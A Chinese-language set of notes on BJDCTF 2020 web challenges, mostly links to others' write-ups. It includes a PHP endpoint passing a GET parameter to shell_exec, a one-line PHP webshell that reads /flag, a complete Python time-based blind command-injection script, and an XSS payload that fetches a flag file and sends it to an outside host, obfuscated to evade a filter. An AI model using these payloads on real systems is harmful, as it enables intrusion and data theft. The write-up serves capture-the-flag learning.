1. web
1.1 帮帮小红花
考点: 二分法 + shell注入
<?php
#不能写文件,不能反弹shell
highlight_file(__file__);
shell_exec($_GET[imagin]);
?>
参考资料:
1、writeup:https://www.cnblogs.com/h3zh1/p/12945275.html
2、shell脚本之结构化命令if…then…fi https://www.cnblogs.com/python-cat/p/10861060.html
3、Shell printf 命令 https://www.runoob.com/linux/linux-shell-printf.html
4、shell判断符:
-eq 等于
-ne 不等于
-gt 大于
-ge 大于等于
-lt 小于
-le 小于等于
非预期解:
# 不能反弹shell,写一句话木马总报错,就直接去读flag了,但后面就改了权限,不能写文件了。
echo "<?php system('cat /flag');?>" > pperk.php
预期解:见参考资料
通过shell脚本以时间盲注的方式得到执行cat /flag的结果,学到很多知识。
import requests
import time
url = "http://127.0.0.1/php_exp/try30.php?imagin="
requests.adapters.DEFAULT_RETRIES = 3 # 最大重连次数防止出问题
SLEEP_TIME = 0.25
kai_shi = time.time()
flag=""
i = 0 # 计数器
print("[start]: -------")
while( True ):
head = 32
tail = 127
i += 1
while ( head < tail ) :
mid = ( head + tail ) >> 1
payload = '''pperk=$( cat /flag | cut -c %d-%d );if [ $( printf '%%d' "'$pperk" ) -gt %d ];then sleep %f;fi''' % ( i, i, mid, SLEEP_TIME)
#print(payload)
start_time = time.time() # 开始
r = requests.get(url+payload)
end_time = time.time() # 结束
print(payload)
if ( end_time - start_time > SLEEP_TIME ) :
head = mid + 1
else :
tail = mid
if head!=32:
flag += chr(head)
print("[+]: "+flag)
else:
break
print("[end]: "+flag)
jie_shu = time.time()
print("程序运行时间:"+str(jie_shu - kai_shi))
至于为什么格式化字符串处有两个%,是因为要用%来转义%,如果不转义,就会爆错。
1.2 gob
参考资料:
1、writeup:http://www.fzwjscj.xyz/index.php/archives/30/#description
2、Go代码审计 - gitea 远程命令执行漏洞链 https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html
刚开始以为是go语言的某个漏洞,但tcl,根本不知道怎么利用!!!
实际上是通过文件名来实现路径穿越,构造../../../../../../flag的文件名,带着session访问show.php,得到图片的base64编码值,解码即可。
1.3 Multiplayer Sport
考点:sql注入 + GOLANG函数使用不当导致SSRF
参考资料:
1、writeup1: http://github.mrkaixin.computer/2020/05/24/BJD%20&%20DAS%20CTF%20GO%20WEB/
2、writeup2:https://blog.ccreater.top/2020/05/24/2020%E7%AC%AC%E4%B8%89%E5%B1%8ABJDCTF/
sql的waf绕过大部分都过去了,但没有找到正确的表名,在users表(队里另一个师傅猜的)里找到了假的password。而真正的表是hint。
1.4 布吉岛
考点: java反序列化 + 反射 + redis简单命令
参考资料:
1、writeup:https://www.cnblogs.com/h3zh1/p/12945275.html
2、 从零开始java代码审计系列(一) https://xz.aliyun.com/t/4558
1.5 notes
参考资料:
1、https://blog.ccreater.top/2020/05/24/2020%E7%AC%AC%E4%B8%89%E5%B1%8ABJDCTF/
看不懂,不知道考察什么,哈哈,tcl!!!
payload如下,根据waf用16进制替代绕过:
<script >xmlhttp=new XMLHttpRequest();
xmlhttp[`onreadystatechange`]=()=>{if(xmlhttp.readyState==4 && xmlhttp.status==200){document[`location`][`href`]=`http://ccreater.top:60006/`+xmlhttp[`responseText`];}}
<script >xmlhttp=new XMLHttpRequest();
xmlhttp[`\x6fnreadystatechange`]=()=>{if(xmlhttp.readyState==4 && xmlhttp.status==200){document[`\x6cocati\x6fn`][`href`]=`http://ccreat\x65r.top:60006/`+xmlhttp[`\x72espo\x6eseText`];}};xmlhttp.open(`GET`,`/lib\x2ffla\x67.php`,true);xmlhttp.send();</script>
1.6 ezupload
参考资料:
1、https://blog.ccreater.top/2020/05/24/2020%E7%AC%AC%E4%B8%89%E5%B1%8ABJDCTF/
<?php
header("content-type:text/html;charset=utf-8");
session_start();
function getkey()
{
$key = '';
$chars = str_split('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
for ($i = 0; $i < 48; $i++)
{
$key = $key . $chars[random_int(0, 61)];
}
$_SESSION['key'] = $key;
return $key;
}
function getreferer() {
static $referer;
if (isset($_SERVER['HTTP_REFERER'])) {
$referer = $_SERVER['HTTP_REFERER'];
}
elseif(isset($_POST['URL_REFERER'])){
$referer = $_POST['URL_REFERER'];
}
else{
die("Where are you from?");
}
return $referer;
}
$key = getkey();
$url = getreferer();
if(!preg_match("/^http[s]{0,1}:\/\//i", $url)){
die("What do you want to do?");
}
$host = parse_url($url, PHP_URL_HOST);
if(preg_match("/^google\.com$/i", $host) or preg_match("/(.*)\.google\.com$/i", $host)){
#%00截断来满足第二个判断条件
$headers = get_headers($url,1);
if($headers['dd'] === 'MeAquaNo_1!!!'){
echo $key;
}
else{
echo 'dd beheading!';
}
}
else{
die("Only dd working at Google can get the key!");
}
通过%00
截断可以让get_headers()
请求到错误的主机
1.7 老开发
参考资料:
1、https://blog.ccreater.top/2020/05/24/2020%E7%AC%AC%E4%B8%89%E5%B1%8ABJDCTF/
<?php
if ($_SERVER['SCRIPT_FILENAME'] == __FILE__)
highlight_file(__FILE__);
/**
* @Entity
* @Table(name="user")
*/
class User
{
/**
* @Id
* @Column(type="integer")
* @GeneratedValue
*/
protected $uid;
/**
* @Column(type="string")
* @unique
*/
protected $username;
/**
* @Column(type="string")
*/
protected $password;
/**
* @Column(type="string")
*/
protected $role;
public function __get($name)
{
if (property_exists(__CLASS__, $name)) {
return $this->$name;
} else {
throw new Exception("Class " . __CLASS__ . " doesn't have property " . $name);
}
}
public function __set($name, $value)
{
if (property_exists(__CLASS__, $name)) {
$this->$name = $value;
} else {
throw new Exception("Class " . __CLASS__ . " doesn't have property " . $name);
}
}
}